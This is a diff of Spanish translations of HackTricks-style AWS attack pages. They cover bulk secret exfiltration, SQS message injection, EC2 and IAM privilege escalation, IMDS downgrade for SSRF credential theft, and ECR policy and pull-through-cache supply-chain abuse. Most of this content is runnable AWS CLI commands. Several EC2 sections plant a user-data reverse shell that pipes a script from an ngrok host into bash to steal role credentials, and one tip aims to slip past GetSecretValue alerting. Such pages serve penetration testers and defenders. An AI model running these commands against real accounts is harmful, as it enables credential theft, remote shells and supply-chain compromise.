||||
Abusa de la Secrets Manager BatchGetSecretValue API para recuperar hasta 20 secretos en una sola solicitud. Esto puede reducir drásticamente el volumen de llamadas API en comparación con iterar GetSecretValue por cada secreto. Si se usan filtros (tags/name), también se requiere el permiso ListSecrets. CloudTrail todavía registra un evento GetSecretValue por cada secreto recuperado en el batch.
|
||||
|
||||
Abusa de la API Secrets Manager BatchGetSecretValue para recuperar hasta 20 secretos en una sola solicitud. Esto puede reducir drásticamente el volumen de llamadas API en comparación con iterar GetSecretValue por cada secreto. Si se usan filtros (tags/name), también se requiere el permiso ListSecrets. CloudTrail aún registra un evento GetSecretValue por cada secreto recuperado en el lote.
|
||||
|
||||
Permisos requeridos
|
||||
Required permissions
|
||||
- secretsmanager:BatchGetSecretValue
|
||||
- secretsmanager:GetSecretValue para cada secreto objetivo
|
||||
- secretsmanager:ListSecrets si se usan --filters
|
||||
- kms:Decrypt sobre las CMKs usadas por los secretos (si no se usa aws/secretsmanager)
|
||||
- kms:Decrypt en las CMKs usadas por los secretos (si no se usa aws/secretsmanager)
|
||||
|
||||
> [!WARNING]
|
||||
> Ten en cuenta que el permiso `secretsmanager:BatchGetSecretValue` no es suficiente para recuperar secretos; también necesitas `secretsmanager:GetSecretValue` para cada secreto que quieras recuperar.
|
||||
> Tenga en cuenta que el permiso `secretsmanager:BatchGetSecretValue` por sí solo no es suficiente para recuperar secretos; también necesita `secretsmanager:GetSecretValue` para cada secreto que desee recuperar.
|
||||
|
||||
Exfiltrar mediante lista explícita
|
||||
Exfiltrate by explicit list
|
||||
```bash
|
||||
aws secretsmanager batch-get-secret-value \
|
||||
--secret-id-list <secret1> <secret2> <secret3> \
|
||||
@@ -122,5 +120,6 @@ Manejo de fallos parciales
|
||||
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
|
||||
```
|
||||
Impacto
|
||||
- Rápido “smash-and-grab” de muchos secrets con menos llamadas a la API, potencialmente eludiendo las alertas configuradas para picos de GetSecretValue.
|
||||
- Los registros de CloudTrail aún incluyen un evento GetSecretValue por secret recuperado por el batch.
|
||||
- Rápido “smash-and-grab” de muchos secretos con menos llamadas API, potencialmente eludiendo alertas ajustadas para picos de GetSecretValue.
|
||||
- Los CloudTrail logs aún incluyen un evento GetSecretValue por cada secreto recuperado por el batch.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,13 +1,13 @@
|
||||
# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
|
||||
# AWS – SQS Inyección entre cuentas / en la misma cuenta vía suscripción SNS + política de cola
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Description
|
||||
## Descripción
|
||||
|
||||
Abusar de la política de recursos de una cola SQS para permitir que un topic SNS controlado por el atacante publique mensajes en una cola SQS víctima. En la misma cuenta, una suscripción SQS a un topic SNS se confirma automáticamente; en cross-account, debes leer el token SubscriptionConfirmation desde la cola y llamar a ConfirmSubscription. Esto permite la inyección de mensajes no solicitados que los consumidores aguas abajo pueden confiar implícitamente.
|
||||
Abusar de la política de recurso de una cola SQS para permitir que un topic SNS controlado por el atacante publique mensajes en una cola SQS de la víctima. En la misma cuenta, una suscripción SQS a un topic SNS se confirma automáticamente; entre cuentas, debes leer el token SubscriptionConfirmation desde la cola y llamar a ConfirmSubscription. Esto permite una inyección de mensajes poco fiable que los consumidores posteriores pueden confiar implícitamente.
|
||||
|
||||
### Requirements
|
||||
- Capacidad para modificar la política de recursos de la cola SQS objetivo: `sqs:SetQueueAttributes` en la cola víctima.
|
||||
### Requisitos
|
||||
- Capacidad para modificar la política de recurso de la cola SQS objetivo: `sqs:SetQueueAttributes` en la cola víctima.
|
||||
- Capacidad para crear/publicar en un topic SNS bajo control del atacante: `sns:CreateTopic`, `sns:Publish`, y `sns:Subscribe` en la cuenta/topic del atacante.
|
||||
- Solo entre cuentas: `sqs:ReceiveMessage` temporal en la cola víctima para leer el token de confirmación y llamar a `sns:ConfirmSubscription`.
|
||||
|
||||
@@ -46,9 +46,9 @@ aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-me
|
||||
```
|
||||
### Notas entre cuentas
|
||||
- La política de la cola anterior debe permitir el `TOPIC_ARN` externo (cuenta atacante).
|
||||
- Las suscripciones no se auto-confirmarán. Otórgate temporalmente `sqs:ReceiveMessage` en la cola víctima para leer el mensaje `SubscriptionConfirmation` y luego llama a `sns confirm-subscription` con su `Token`.
|
||||
- Las suscripciones no se auto-confirmarán. Otórgate temporalmente `sqs:ReceiveMessage` en la cola de la víctima para leer el mensaje `SubscriptionConfirmation` y luego ejecuta `sns confirm-subscription` con su `Token`.
|
||||
|
||||
### Impacto
|
||||
**Impacto potencial**: Inyección continua de mensajes no solicitados en una cola SQS confiable vía SNS, que podría desencadenar procesamiento no intencionado, contaminación de datos o abuso de flujos de trabajo.
|
||||
**Impacto potencial**: Inyección continua de mensajes no solicitados en una cola SQS de confianza a través de SNS, potencialmente desencadenando procesamiento no intencionado, contaminación de datos o abuso del flujo de trabajo.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -14,9 +14,9 @@ Para más **info sobre EC2** consulta:
|
||||
|
||||
Un atacante podría **crear una instancia adjuntando un IAM role y luego acceder a la instancia** para robar las credenciales del IAM role desde el metadata endpoint.
|
||||
|
||||
- **Acceso vía SSH**
|
||||
- **Access via SSH**
|
||||
|
||||
Ejecuta una nueva instancia usando una **ssh key** **creada** (`--key-name`) y luego conéctate por ssh a ella (si quieres crear una nueva podrías necesitar el permiso `ec2:CreateKeyPair`).
|
||||
Lanza una nueva instancia usando una **creada** **ssh key** (`--key-name`) y luego conéctate por ssh a ella (si quieres crear una nueva podrías necesitar el permiso `ec2:CreateKeyPair`).
|
||||
```bash
|
||||
aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
|
||||
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
```
|
||||
- **Acceso vía rev shell en user data**
|
||||
|
||||
Puedes lanzar una nueva instance usando **user data** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar security group de esta manera.
|
||||
Puedes lanzar una nueva instancia usando **user data** (`--user-data`) que te enviará un **rev shell**. No necesitas especificar security group de esta manera.
|
||||
```bash
|
||||
echo '#!/bin/bash
|
||||
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
|
||||
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
|
||||
--count 1 \
|
||||
--user-data "file:///tmp/rev.sh"
|
||||
```
|
||||
Ten cuidado con GuradDuty si usas las credenciales del rol IAM fuera de la instancia:
|
||||
Ten cuidado con GuardDuty si usas las credenciales del IAM role fuera de la instancia:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
|
||||
{{#endref}}
|
||||
|
||||
**Impacto potencial:** Privesc directo a cualquier EC2 role asociado a instance profiles existentes.
|
||||
**Impacto potencial:** Privesc directo a cualquier EC2 role adjunto a instance profiles existentes.
|
||||
|
||||
#### Privesc to ECS
|
||||
|
||||
Con este conjunto de permisos también podrías **crear una instancia EC2 y registrarla dentro de un ECS cluster**. De este modo, los **servicios** de ECS se **ejecutarán** dentro de la **instancia EC2** a la que tengas acceso y entonces podrás penetrar esos servicios (docker containers) y **robar los ECS roles adjuntos**.
|
||||
Con este conjunto de permisos también podrías **create an EC2 instance and register it inside an ECS cluster**. De este modo, ECS **services** se **run** dentro de la **EC2 instance** a la que tienes acceso y entonces puedes comprometer esos servicios (docker containers) y **steal their ECS roles attached**.
|
||||
```bash
|
||||
aws ec2 run-instances \
|
||||
--image-id ami-07fde2ae86109a2af \
|
||||
@@ -59,15 +59,15 @@ aws ec2 run-instances \
|
||||
#!/bin/bash
|
||||
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
|
||||
```
|
||||
Para aprender cómo **forzar que los servicios ECS se ejecuten** en esta nueva instancia EC2, consulta:
|
||||
Para aprender cómo **forzar que los servicios de ECS se ejecuten** en esta nueva instancia EC2, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../aws-ecs-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance` podrías ser capaz de registrar la instancia dentro del cluster y realizar el ataque comentado.
|
||||
Si **no puedes crear una nueva instancia** pero tienes el permiso `ecs:RegisterContainerInstance`, podrías registrar la instancia dentro del cluster y llevar a cabo el ataque comentado.
|
||||
|
||||
**Impacto potencial:** privesc directo a roles de ECS adjuntos a tasks.
|
||||
**Impacto potencial:** Direct privesc a roles de ECS adjuntos a tareas.
|
||||
|
||||
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
|
||||
|
||||
@@ -80,17 +80,17 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
|
||||
# Add role to instance profile
|
||||
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
|
||||
```
|
||||
Si el **instance profile tiene un role** y el atacante **no puede eliminarlo**, hay otra solución. Podría **encontrar** un **instance profile sin role** o **crear uno nuevo** (`iam:CreateInstanceProfile`), **añadir** el **role** a ese **instance profile** (como se discutió anteriormente), y **asociar el instance profile** comprometido a una i**nstancia:** comprometida:
|
||||
Si el **instance profile has a role** y el atacante **cannot remove it**, hay otra alternativa. El atacante podría **find** un **instance profile without a role** o **create a new one** (`iam:CreateInstanceProfile`), **add** el **role** a ese **instance profile** (como se discutió anteriormente), y **associate the instance profile** compromised a una i**nstance:** comprometida:
|
||||
|
||||
- Si la instance **no tiene ningún instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
- Si la instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
|
||||
```bash
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
**Impacto potencial:** privesc directo a un rol de EC2 diferente (necesitas haber comprometido una instancia de AWS EC2 y tener permisos adicionales o un estado específico del instance profile).
|
||||
**Impacto potencial:** Privesc directo a un rol EC2 diferente (necesitas haber comprometido una instancia AWS EC2 y tener permisos extra o un estado específico del instance profile).
|
||||
|
||||
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
|
||||
|
||||
Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tenía acceso a una instancia podrá robar credenciales de más roles de instance profile al cambiar el que está asociado.
|
||||
Con estos permisos es posible cambiar el instance profile asociado a una instancia, por lo que si el atacante ya tenía acceso a una instancia podrá robar credenciales de más roles del instance profile cambiando el que está asociado con ella.
|
||||
|
||||
- Si **tiene un instance profile**, puedes **eliminar** el instance profile (`ec2:DisassociateIamInstanceProfile`) y **asociarlo**
|
||||
```bash
|
||||
@@ -98,15 +98,15 @@ aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Va
|
||||
aws ec2 disassociate-iam-instance-profile --association-id <value>
|
||||
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
|
||||
```
|
||||
- o **reemplazar** el **instance profile** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
- o **reemplazar** el **perfil de instancia** de la instancia comprometida (`ec2:ReplaceIamInstanceProfileAssociation`).
|
||||
```bash
|
||||
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
|
||||
```
|
||||
**Impacto potencial:** Direct privesc a un EC2 role diferente (necesitas haber comprometido una instancia AWS EC2 y algún permiso extra o un estado específico del instance profile).
|
||||
**Potential Impact:** Privesc directo a un EC2 role diferente (necesitas haber comprometido una instancia AWS EC2 y tener algún permiso extra o un estado específico del instance profile).
|
||||
|
||||
### `ec2:RequestSpotInstances`,`iam:PassRole`
|
||||
|
||||
Un atacante con los permisos **`ec2:RequestSpotInstances`and`iam:PassRole`** puede **solicitar** una **Spot Instance** con un **EC2 Role attached** y un **rev shell** en el **user data**.\
|
||||
Un atacante con los permisos **`ec2:RequestSpotInstances`and`iam:PassRole`** puede **solicitar** una **Spot Instance** con un **EC2 Role attached** y una **rev shell** en los **user data**.\
|
||||
Una vez que la instancia se ejecute, puede **robar el IAM role**.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
|
||||
```
|
||||
### `ec2:ModifyInstanceAttribute`
|
||||
|
||||
Un atacante con el permiso **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de la instancia. Entre ellos, puede **cambiar el user data**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios**, lo cual puede usarse para obtener una **rev shell a la EC2 instance**.
|
||||
Un atacante con **`ec2:ModifyInstanceAttribute`** puede modificar los atributos de las instancias. Entre ellos, puede **cambiar el user data**, lo que implica que puede hacer que la instancia **ejecute datos arbitrarios.** Esto puede usarse para obtener una **rev shell to the EC2 instance**.
|
||||
|
||||
Ten en cuenta que los atributos solo pueden **modificarse mientras la instancia esté detenida**, por lo que se requieren los permisos **`ec2:StopInstances`** y **`ec2:StartInstances`**.
|
||||
Ten en cuenta que los atributos solo pueden ser **modificados mientras la instancia está detenida**, por lo que se necesitan los **permisos** **`ec2:StopInstances`** y **`ec2:StartInstances`**.
|
||||
```bash
|
||||
TEXT='Content-Type: multipart/mixed; boundary="//"
|
||||
MIME-Version: 1.0
|
||||
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \
|
||||
|
||||
aws ec2 start-instances --instance-ids $INSTANCE_ID
|
||||
```
|
||||
**Impacto potencial:** Privesc directo a cualquier EC2 IAM Role adjunta a una instancia creada.
|
||||
**Impacto potencial:** privesc directo a cualquier EC2 IAM Role adjunto a una instancia creada.
|
||||
|
||||
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
|
||||
|
||||
Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Launch Template** con un **rev shell en** los **user data** y **cualquier EC2 IAM Role en ella**, cambiar la versión por defecto, y **cualquier Autoscaler group** **que esté usando** ese **Launch Template** que esté **configurado** para usar la **última** o la **versión por defecto** volverá a lanzar las instancias usando ese template y ejecutará el rev shell.
|
||||
Un atacante con los permisos **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` y `ec2:ModifyLaunchTemplate`** puede crear una **nueva versión de Launch Template** con un **rev shell en el user data** y **cualquier EC2 IAM Role asociado a ella**, cambiar la versión por defecto, y **cualquier Autoscaler group** que esté **configurado** para usar la **latest** o la **default version** volverá a lanzar las instancias usando esa plantilla y ejecutará el rev shell.
|
||||
```bash
|
||||
REV=$(printf '#!/bin/bash
|
||||
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
|
||||
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
|
||||
--launch-template-name bad_template \
|
||||
--default-version 2
|
||||
```
|
||||
**Impacto potencial:** Privesc directo a un EC2 role diferente.
|
||||
**Impacto potencial:** privesc directo a un rol EC2 diferente.
|
||||
|
||||
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
|
||||
|
||||
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear un Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **crear un autoscaling group** a partir de esa config y esperar a que el rev shell **robe el IAM Role**.
|
||||
Un atacante con los permisos **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** puede **crear una Launch Configuration** con un **IAM Role** y un **rev shell** dentro del **user data**, luego **crear un autoscaling group** a partir de esa config y esperar a que el rev shell **robe el IAM Role**.
|
||||
```bash
|
||||
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
|
||||
--launch-configuration-name bad_config \
|
||||
@@ -200,24 +200,24 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
|
||||
|
||||
### `!autoscaling`
|
||||
|
||||
El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque, para adjuntar el rol especificado en la Launch Configuration o en la Launch Template, **necesitas los permisos `iam:PassRole` y `ec2:RunInstances`** (lo cual es un privesc conocido).
|
||||
El conjunto de permisos **`ec2:CreateLaunchTemplate`** y **`autoscaling:CreateAutoScalingGroup`** **no son suficientes para escalar** privilegios a un rol IAM porque, para adjuntar el rol especificado en la Launch Configuration o en la Launch Template, **se necesitan los permisos `iam:PassRole` y `ec2:RunInstances`** (lo cual es un privesc conocido).
|
||||
|
||||
### `ec2-instance-connect:SendSSHPublicKey`
|
||||
|
||||
Un atacante con el permiso **`ec2-instance-connect:SendSSHPublicKey`** puede añadir una clave SSH a un usuario y usarla para acceder (si tiene acceso SSH a la instancia) o para escalar privilegios.
|
||||
Un atacante con el permiso **`ec2-instance-connect:SendSSHPublicKey`** puede agregar una clave ssh a un usuario y usarla para acceder (si tiene acceso ssh a la instancia) o para escalar privilegios.
|
||||
```bash
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "ec2-user" \
|
||||
--ssh-public-key "file://$PUBK_PATH"
|
||||
```
|
||||
**Impacto potencial:** privesc directo a los roles IAM de EC2 adjuntos a las instancias en ejecución.
|
||||
**Impacto potencial:** privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución.
|
||||
|
||||
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
|
||||
|
||||
Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **añadir una llave ssh a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess` para habilitarla**.
|
||||
Un atacante con el permiso **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** puede **añadir una ssh key a una conexión serial**. Si la consola serial no está habilitada, el atacante necesita el permiso **`ec2:EnableSerialConsoleAccess`** para habilitarla.
|
||||
|
||||
Para conectarse al puerto serial también **es necesario conocer el nombre de usuario y la contraseña de un usuario** dentro de la máquina.
|
||||
Para conectarse al puerto serial también **necesita conocer el username y password de un usuario** dentro de la máquina.
|
||||
```bash
|
||||
aws ec2 enable-serial-console-access
|
||||
|
||||
@@ -229,13 +229,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
|
||||
|
||||
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
|
||||
```
|
||||
Este método no es muy útil para privesc porque necesitas conocer un nombre de usuario y una contraseña para explotarlo.
|
||||
Esta vía no es tan útil para privesc ya que necesitas conocer un username y password para explotarlo.
|
||||
|
||||
**Impacto potencial:** (Altamente difícil de probar) Privesc directo a los roles IAM de EC2 adjuntos a instancias en ejecución.
|
||||
**Impacto potencial:** (Altamente difícil de probar) Privesc directo a los EC2 IAM roles adjuntos a las instancias en ejecución.
|
||||
|
||||
### `describe-launch-templates`,`describe-launch-template-versions`
|
||||
|
||||
Dado que las launch templates tienen versionado, un atacante con permisos **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlas para descubrir información sensible, como credenciales presentes en user data. Para ello, el siguiente script recorre todas las versiones de las launch templates disponibles:
|
||||
Dado que launch templates tienen versionado, un atacante con permisos **`ec2:describe-launch-templates`** y **`ec2:describe-launch-template-versions`** podría explotarlos para descubrir información sensible, como credenciales presentes en user data. Para lograr esto, el siguiente script recorre todas las versiones de los launch templates disponibles:
|
||||
```bash
|
||||
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
|
||||
do
|
||||
@@ -250,24 +250,24 @@ done
|
||||
```
|
||||
En los comandos anteriores, aunque estamos especificando ciertos patrones (`aws_|password|token|api`), puedes usar una regex diferente para buscar otros tipos de información sensible.
|
||||
|
||||
Suponiendo que encontremos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas credenciales para autenticarnos en AWS.
|
||||
Si encontramos `aws_access_key_id` y `aws_secret_access_key`, podemos usar estas credenciales para autenticarnos en AWS.
|
||||
|
||||
**Impacto potencial:** Escalada directa de privilegios a usuario(s) IAM.
|
||||
**Impacto potencial:** Escalado directo de privilegios a usuario(s) IAM.
|
||||
|
||||
## Referencias
|
||||
|
||||
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
### `ec2:ModifyInstanceMetadataOptions` (Degradación de IMDS para permitir el robo de credenciales por SSRF)
|
||||
|
||||
Un atacante con la capacidad de llamar a `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando el `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea accesible vía rutas SSRF/proxy comunes desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar un SSRF en dicha app, puede recuperar las credenciales del instance profile y pivotar con ellas.
|
||||
### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
|
||||
|
||||
- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/activar un SSRF en el host).
|
||||
Un atacante con la capacidad de invocar `ec2:ModifyInstanceMetadataOptions` en una instancia EC2 víctima puede debilitar las protecciones de IMDS habilitando IMDSv1 (`HttpTokens=optional`) y aumentando `HttpPutResponseHopLimit`. Esto hace que el endpoint de metadata de la instancia sea accesible mediante rutas comunes de SSRF/proxy desde aplicaciones que se ejecutan en la instancia. Si el atacante puede desencadenar un SSRF en dicha aplicación, puede recuperar las credenciales del instance profile y pivotar con ellas.
|
||||
|
||||
- Permisos requeridos: `ec2:ModifyInstanceMetadataOptions` en la instancia objetivo (más la capacidad de alcanzar/desencadenar un SSRF en el host).
|
||||
- Recurso objetivo: La instancia EC2 en ejecución con un instance profile adjunto (IAM role).
|
||||
|
||||
Ejemplo de comandos:
|
||||
@@ -297,4 +297,5 @@ aws sts get-caller-identity
|
||||
aws ec2 modify-instance-metadata-options --instance-id <INSTANCE_ID> \
|
||||
--http-tokens required --http-put-response-hop-limit 1
|
||||
```
|
||||
Impacto potencial: Robo de instance profile credentials mediante SSRF que conduce a privilege escalation y lateral movement con los permisos del role de EC2.
|
||||
Impacto potencial: Robo de las credenciales del instance profile vía SSRF, llevando a privilege escalation y lateral movement con los permisos del role de EC2.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
### `ecr:GetAuthorizationToken`,`ecr:BatchGetImage`
|
||||
|
||||
Un atacante con los **`ecr:GetAuthorizationToken`** y **`ecr:BatchGetImage`** puede iniciar sesión en ECR y descargar imágenes.
|
||||
Un atacante con **`ecr:GetAuthorizationToken`** y **`ecr:BatchGetImage`** puede iniciar sesión en ECR y descargar imágenes.
|
||||
|
||||
Para más información sobre cómo descargar imágenes:
|
||||
|
||||
@@ -14,13 +14,13 @@ Para más información sobre cómo descargar imágenes:
|
||||
../../aws-post-exploitation/aws-ecr-post-exploitation/README.md
|
||||
{{#endref}}
|
||||
|
||||
**Impacto potencial:** Privesc indirecto al interceptar información sensible en el tráfico.
|
||||
**Potential Impact:** privesc indirecto al interceptar información sensible en el tráfico.
|
||||
|
||||
### `ecr:GetAuthorizationToken`, `ecr:BatchCheckLayerAvailability`, `ecr:CompleteLayerUpload`, `ecr:InitiateLayerUpload`, `ecr:PutImage`, `ecr:UploadLayerPart`
|
||||
|
||||
Un atacante con todos esos permisos **puede iniciar sesión en ECR y subir imágenes**. Esto puede ser útil para escalar privilegios a otros entornos donde se estén usando esas imágenes.
|
||||
|
||||
Para aprender cómo subir una nueva imagen/actualizar una, revisa:
|
||||
Para aprender cómo subir una nueva imagen/actualizar una, consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-eks-enum.md
|
||||
@@ -32,8 +32,8 @@ Como la sección anterior, pero para repositorios públicos.
|
||||
|
||||
### `ecr:SetRepositoryPolicy`
|
||||
|
||||
Un atacante con este permiso podría **cambiar** la **política** del **repositorio** para concederse a sí mismo (o incluso a todo el mundo) **acceso de lectura/escritura**.\
|
||||
Por ejemplo, en este ejemplo se da acceso de lectura a todo el mundo.
|
||||
Un atacante con este permiso podría **cambiar** la **política** del **repositorio** para otorgarse (o incluso a todos) **acceso de lectura/escritura**.\
|
||||
Por ejemplo, en este caso se da acceso de lectura a todos.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
@@ -60,7 +60,7 @@ Contenido de `my-policy.json`:
|
||||
### `ecr-public:SetRepositoryPolicy`
|
||||
|
||||
Como la sección anterior, pero para repositorios públicos.\
|
||||
Un atacante puede **modificar la política del repositorio** de un repositorio ECR Public para otorgar acceso público no autorizado o para escalar sus privilegios.
|
||||
Un atacante puede **modificar la política del repositorio** de un repositorio ECR Public para otorgar acceso público no autorizado o escalar sus privilegios.
|
||||
```bash
|
||||
# Create a JSON file with the malicious public repository policy
|
||||
echo '{
|
||||
@@ -87,32 +87,26 @@ echo '{
|
||||
# Apply the malicious public repository policy to the ECR Public repository
|
||||
aws ecr-public set-repository-policy --repository-name your-ecr-public-repo-name --policy-text file://malicious_public_repo_policy.json
|
||||
```
|
||||
**Impacto potencial**: Acceso público no autorizado al ECR Public repository, permitiendo que cualquier usuario haga push, pull o elimine imágenes.
|
||||
**Impacto potencial**: Acceso público no autorizado al repositorio ECR Public, permitiendo a cualquier usuario push, pull o eliminar imágenes.
|
||||
|
||||
### `ecr:PutRegistryPolicy`
|
||||
|
||||
Un atacante con este permiso podría **cambiar** la **política del registro** para otorgarse a sí mismo, a su cuenta (o incluso a todos) **acceso de lectura/escritura**.
|
||||
Un atacante con este permiso podría **cambiar** la **política del registro** para concederse a sí mismo, a su cuenta (o incluso a todos) **acceso de lectura/escritura**.
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name <repo_name> \
|
||||
--policy-text file://my-policy.json
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### ecr:CreatePullThroughCacheRule
|
||||
|
||||
Abusa de las reglas de ECR Pull Through Cache (PTC) para mapear un namespace upstream controlado por el atacante a un prefijo privado de ECR de confianza. Esto hace que las cargas de trabajo que pull desde el ECR privado reciban de forma transparente imágenes controladas por el atacante sin necesidad de push al ECR privado.
|
||||
Abusa de las reglas de ECR Pull Through Cache (PTC) para mapear un namespace upstream controlado por un attacker a un prefijo privado de ECR de confianza. Esto hace que las cargas de trabajo que hagan pull desde el ECR privado reciban de forma transparente imágenes del attacker sin necesidad de hacer push al ECR privado.
|
||||
|
||||
- Permisos requeridos: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si se usa ECR Public como upstream: ecr-public:* para create/push al repo público.
|
||||
- Permisos requeridos: ecr:CreatePullThroughCacheRule, ecr:DescribePullThroughCacheRules, ecr:DeletePullThroughCacheRule. Si usa ECR Public upstream: ecr-public:* para crear/push al repo público.
|
||||
- Upstream probado: public.ecr.aws
|
||||
|
||||
Pasos (ejemplo):
|
||||
Steps (example):
|
||||
|
||||
1. Prepara la imagen del atacante en ECR Public
|
||||
1. Prepara la imagen del attacker en ECR Public
|
||||
# Get your ECR Public alias with: aws ecr-public describe-registries --region us-east-1
|
||||
docker login public.ecr.aws/<public_alias>
|
||||
docker build -t public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test .
|
||||
@@ -121,24 +115,24 @@ docker push public.ecr.aws/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
2. Crea la regla PTC en el ECR privado para mapear un prefijo de confianza al registro público
|
||||
aws ecr create-pull-through-cache-rule --region us-east-2 --ecr-repository-prefix ptc --upstream-registry-url public.ecr.aws
|
||||
|
||||
3. Pull de la imagen del atacante vía la ruta del ECR privado (no se realizó push al ECR privado)
|
||||
3. Haz pull de la imagen del attacker vía la ruta del ECR privado (no se hizo push al ECR privado)
|
||||
docker login <account_id>.dkr.ecr.us-east-2.amazonaws.com
|
||||
docker pull <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
docker run --rm <account_id>.dkr.ecr.us-east-2.amazonaws.com/ptc/<public_alias>/hacktricks-ptc-demo:ptc-test
|
||||
|
||||
Impacto potencial: Compromiso de la cadena de suministro al secuestrar nombres de imágenes internas bajo el prefijo elegido. Cualquier carga de trabajo que pull imágenes desde el ECR privado usando ese prefijo recibirá contenido controlado por el atacante.
|
||||
